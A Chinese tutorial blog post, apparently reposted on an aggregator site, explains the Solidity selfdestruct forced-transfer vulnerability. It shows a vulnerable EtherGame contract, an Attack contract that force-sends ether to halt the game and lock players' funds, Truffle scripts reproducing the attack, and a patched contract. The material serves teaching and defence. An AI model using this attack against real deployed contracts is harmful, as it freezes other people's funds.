FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法)

这篇具有很好参考价值的文章主要介绍了FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、分析

1、前置知识

上一篇我写了通过Truffle和remix复现智能合约的溢出漏洞(以及修复方法),这一篇让我们来了解一下合约另外一个漏洞--自毁漏洞。

我们先来了解 solidity 中能够转账的操作都有哪些:

  1. transfer:转账出错会抛出异常后面代码不执行;
  2. send:转账出错不会抛出异常只返回 true/false 后面代码继续执行;
  3. call.value().gas()():转账出错不会抛出异常只返回 true/false 后面代码继续执行,且使用 call 函数进行转账容易发生重入攻击(这里可查阅:通过Truffle和remix实现智能合约的重入攻击)。

上面三种都需要目标接收转账才能成功将代币转入目标地址,下面我们来看一个不需要接受就能给合约转账的函数:自毁函数。

自毁函数 由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”从而影响目标合约的正常功能(比如开发者使用 address(this).balance 来取合约中的代币余额就可能会被攻击)。今天我们就来看一个攻击者利用自毁函数的强制转账特性对智能合约发起攻击导目标合约瘫痪的案例。

2、漏洞合约

pragma solidity ^0.8.3;
contract EtherGame {
    uint public targetAmount = 7 wei;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 wei, "You can only send 1 Ether");
        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");
        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
}

EtherGame.sol定义了俩个方法:

  1. deposit(): 玩家可以存款 1 wei,当存款总额达到目标金额时,最后一次存款的玩家将成为获胜者。
  2. claimReward(): 仅获胜者可调用此方法来领取奖励,即合约的余额。

漏洞分析:

EtherGame 合约实现的功能是一个游戏,我们这里可以称它为“幸运七”。玩家每次向 EtherGame 合约中打入一个以太,第七个成功打入以太的玩家将成为 winnerwinner 可以提取合约中的 7 个以太。

玩家每次玩游戏时都会调用 EtherGame.deposit 函数向合约中先打入一个以太,随后函数会检查合约中的余额(balance)是否小于等于 7 ,只有合约中的余额小于等于 7 时才能继续否则将回滚。合约中的余额(balance)是通过 address(this).balance 取到的,这就意味着我们只要有办法在产生 winner 之前改变 EtherGame 合约中的余额让他等于 7 就会使该合约瘫痪。这样我们的攻击方向就明确了,只要我们强制给 EtherGame 合约打入一笔以太让该合约中的余额大于或等于 7 这样后面的玩家将无法通过 EtherGame.deposit 的检查,从而使 EtherGame 合约瘫痪,永远无法产生 winner

但是 EtherGame.deposit 函数中存在验证:require(msg.value == 1 wei, "You can only send 1 Ether"),这里要求我们每次只能打一个以太进去,所以通过正常路径是不可能一次向 EtherGame 打入大于 1 枚的以太的,但是我们又需要打入大于 1 枚的以太到 EtherGame 合约中,所以需要找到另外的路径,来将以太转入到 EtherGame 合约中。

这里就要请出我们今天的主角:自毁函数——selfdestruct。从前置知识中我们可以看到,当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,我们可以构造一个攻击合约,然后触发 selfdestruct 函数让攻击合约自毁,攻击合约中的以太就会发送给目标合约。这样我们就可以一次向 EtherGame 合约中打入多枚以太,而不通过 EtherGame.deposit 函数,从而完成攻击。

举个例子:在极端情况下,如果已经有六个玩家参与了游戏且成功向合约中各自打入了 1 个以太,此时合约中有 6 枚以太,这样我们只需要用 selfdestruct 强制打入一枚以太,而不走 EtherGame.deposit 的逻辑,就会导致 EtherGame 合约记账错误, 从而导致合约瘫痪(DoS),就会造成合约中的 6 枚以太无法取出,因为此时还没有诞生出 winner。(当然也可以通过 EtherGame.deposit 将以太转入到合约中,这样是可以成为 winner 然后取出合约中的 7 枚以太,不过这种情况我们就先不做讨论,本篇仅讨论 selfdestruct 的本身的机制可能带来的攻击面)。

下面我们来看攻击合约:

3、攻击合约

import "./EtherGame.sol";
pragma solidity ^0.8.3;
contract Attack {
    EtherGame etherGame;
    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

 这里我们看一下如何通过自毁来实现漏洞(这里举例三个玩家分别是,海绵宝宝,派大星,蟹老板)

  1. 首先开发者部署 EtherGame.sol 合约;
  2. 玩家 蟹老板 连续调用 6 次合约 EtherGame.deposit() 方法,往合约里存储了6个以太B;
  3. 此时攻击者 派大星 部署 Attack 合约并在构造函数里传入EtherGame合约的地址;
  4. 攻击者 派大星 调用 Attack.attack 并设置 msg.value = 1, 函数触发 selfdestruct 将 1 个以太B强制打入 EtherGame 合约中,此时EtherGame 合约中有七个以太B
  5. 此时玩家 海绵宝宝 也决定玩这一个游戏,存入 1 个以太B之后,合约中有 8 个以太币了,无法通过require(balance <= targetAmount,"Game is Over")的检查并且会触发回滚。到这里我们已经成功的使 EtherGame 合约瘫痪了,这个游戏将永远不会产生 winner, 6 个以太被永远的锁在了 EtherGame 合约中。哎,可怜的 蟹老板,可恶的 派大星

二、测试复现

1、remix复现

1.1、分别部署 EtherGame.solAttack.sol 部署 Attack.sol 时传入 EtherGame.sol 合约地址

FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法),FISCO BCOS,区块链,安全FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法),FISCO BCOS,区块链,安全

 1.2、玩家 蟹老板 连续调用 6 次合约 EtherGame.deposit() 方法,往合约里存储了6个以太B;

FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法),FISCO BCOS,区块链,安全

 1.3、攻击者 派大星 调用 Attack.attack,并且查看EtherGame.sol合约中的以太B

FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法),FISCO BCOS,区块链,安全FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法),FISCO BCOS,区块链,安全

由图可知攻击者 派大星 已经通过攻击合约中的自毁函数,强行打入了一个以太B到 EtherGame.sol 合约中了

1.4、海绵宝宝此时调用 EtherGame.sol 合约的deposit方法,存储以太币,但是会出来Game is Over ,说明攻击成功

FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法),FISCO BCOS,区块链,安全

remix复现完成,下面我们来看看Truffle复现

2、Truffle复现 

这里环境我就不部署了,不会的可以看我上上一篇文章智能合约的重入攻击漏洞。

2.1、创建空的工程项目(创建完成后需要根据合约版本修改truffle-config.js文件中的版本号,相对应即可)

truffle init

 2.2、编写迁移脚本(在migrations目录下)

1_init_EtherGame.js 文件:

const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");

module.exports = async function(deployer){
    await deployer.deploy(EtherGame);
    const a = await EtherGame.deployed();
    await deployer.deploy(Attack,a.address);
}

2.3、编写测试文件(test文件下)

EtherGameTest.js 文件:

const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");

contract("EtherGame",async(accounts) => {
    it("EtherGame Test1",async() => {
        const EtherGameSol = await EtherGame.deployed();
        const AttackSol = await Attack.deployed();
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await AttackSol.attack({value: 1});
        const instance = await EtherGameSol.getBalance();
        assert.equal(instance,7,"Attack fail");
        });
    it("EtherGame Test2",async() => {
        const EtherGameSol = await EtherGame.deployed();
        await EtherGameSol.deposit({from: accounts[1],value: 1});
    });
})

此测试文件实现的就是上述的流程 。

执行测试文件

FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法),FISCO BCOS,区块链,安全

可以看出测试完成,漏洞复现!!! 

三、漏洞修复

这里我们就拿上面的漏洞合约 EtherGame 来说,这个合约可以被攻击者攻击是因为依赖了 address(this).balance 来获取合约中的余额且这个值可以影响业务逻辑,所以我们这里可以设置一个变量 balance,只有玩家通过 EtherGame.deposit 成功向合约打入以太后 balance 才会增加。这样只要不是通过正常途径进来的以太都不会影响我们的 balance 了,避免强制转账导致的记账错误。下面是修复代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherGame {
    uint public targetAmount = 3 ether;
    uint public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
}

 到这里自毁函数漏洞的原理实现和测试都已经完成了,这里就不手把手教你们再通过 truffle 实现修复了,相信看过前俩篇的你已经学会了熟练使用 truffle,实现任意合约的测试了!!!文章来源地址https://www.toymoban.com/news/detail-840527.html

到了这里,关于FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java SDK部署和调用FISCO BCOS区块链智能合约

    使用WeBASE合约管理导出Java项目 启动FISCO节点和webase-front,部署服务详情可参考官方文档: link 1.编写智能合约 一个简单的例子: Table 合约:该合约负责维护候选人的信息。每个候选人都有一个唯一的标识符sign_key,以及与之相关联的其他属性,包括活动名称activity_name、参与

    2024年03月22日
    浏览(43)
  • 基于Fisco-Bcos的区块链智能合约-简单案例实践

    智能合约是指把合同/协议条款以代码的形式电子化地放到区块链网络上。FISCO BCOS平台支持两种智能合约类型:Solidity智能合约与预编译智能合约 Solidity与Java类似。代码写好后,都需要通过编译器将代码转换成二进制,在Java中,编译器是Javac,而对于Solidity,是solc。生成后的

    2024年02月09日
    浏览(38)
  • FISCO BCOS 六、通过Caliper进行压力测试程序(及常见问题)

    目录 1. 环境要求 第一步. 配置基本环境(这里我使用的是Ubuntu20.04) 第二步. 安装NodeJS 第三步. 部署Docker 第四步. 安装Docker Compose 2. Caliper部署 第一步. 部署 第二步. 绑定 第三步. 快速体验FISCO BCOS基准测试 3.常见问题 问题1:dial unix /var/run/docker.sock: connect: permission denied​编辑

    2024年02月08日
    浏览(27)
  • Web3 通过truffle 脚本进行智能合约测试

    上文 Web3 处理智能合约部署到本地区块链,并在本地进行测试中 我们讲解了部署智能合约 然后在终端测试的方法 但上文那种终端测试 其实并不保险 而且也比较不专业 对于这个 有一个mocha测试 这是基于node部署环境的一种环境测试 但是这个需要一定的基础 大家可以专门去学

    2024年02月13日
    浏览(34)
  • FISCO BCOS(二十七)———接口方式操作WeBase(java实现)

    1.1、安装jdk1.8 1.2、安装mysql 1.3、安装python 1.4、安装pymysql 2.1、需要在github上下载如下压缩包和脚本 2.2、将压缩包和脚本上传至终端,随便放哪 2.3、创建目录

    2024年02月02日
    浏览(28)
  • 如何使用Truffle来对智能合约实现并部署?

    Truffle是一个广受欢迎的以太坊智能合约开发框架,支持快速构建、测试以及发布智能合约,本文将介绍使用Truffle框架实现一个完整的智能合约的步骤详情和具体代码实现。 步骤详情: 安装Truffle框架并创建项目 首先需要在本地安装Truffle框架,在命令行中执行以下代码进行安

    2023年04月20日
    浏览(36)
  • Fisco Bcos区块链一(搭建单群组FISCO BCOS联盟链)

    技术文档:https://fisco-bcos-documentation.readthedocs.io/zh_CN/latest/index.html 1、搭建单群组FISCO BCOS联盟链 1. 安装centos依赖包 安装依赖包openssl、curl 2. 创建操作目录, 下载安装脚本 如果因为网络问题导致长时间无法下载build_chain.sh脚本,请尝试 3. 搭建单群组4节点联盟链 在fisco目录下执

    2024年02月10日
    浏览(38)
  • 【FISCO-BCOS】十四、使用Caliper进行压力测试fisco-bcos

            前言:根据操作系统版本不同,部署环境不同,一些细节差别可能造成测试失败等问题,此文仅做参考,应以实际应用为主。         参考官方文档:压力测试指南 — FISCO BCOS v2.9.0 文档 部署Caliper的计算机需要有外网权限; 操作系统版本需要满足以下要求:Ub

    2024年02月15日
    浏览(33)
  • FISCO-BCOS 十四、使用Caliper进行压力测试fisco-bcos

            前言:根据操作系统版本不同,部署环境不同,一些细节差别可能造成测试失败等问题,此文仅做参考,应以实际应用为主。         参考官方文档:压力测试指南 — FISCO BCOS v2.9.0 文档 部署Caliper的计算机需要有外网权限; 操作系统版本需要满足以下要求:Ub

    2024年02月16日
    浏览(33)
  • 区块链合约安全系列(三):如何认识及预防公链合约中的自毁攻击

    id:BSN_2021 公众号:BSN 研习社 作者:红枣科技张雪良 背景:由于公链环境下所有的信息都是共享的,智能合约相当于是完全透明化,任何人都可以调用,外加一些利益的驱动,导致引发了很多hacker的攻击。其中self destruct攻击也是常见的攻击方式之一。 目标:将目标合约瘫痪

    2024年02月01日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包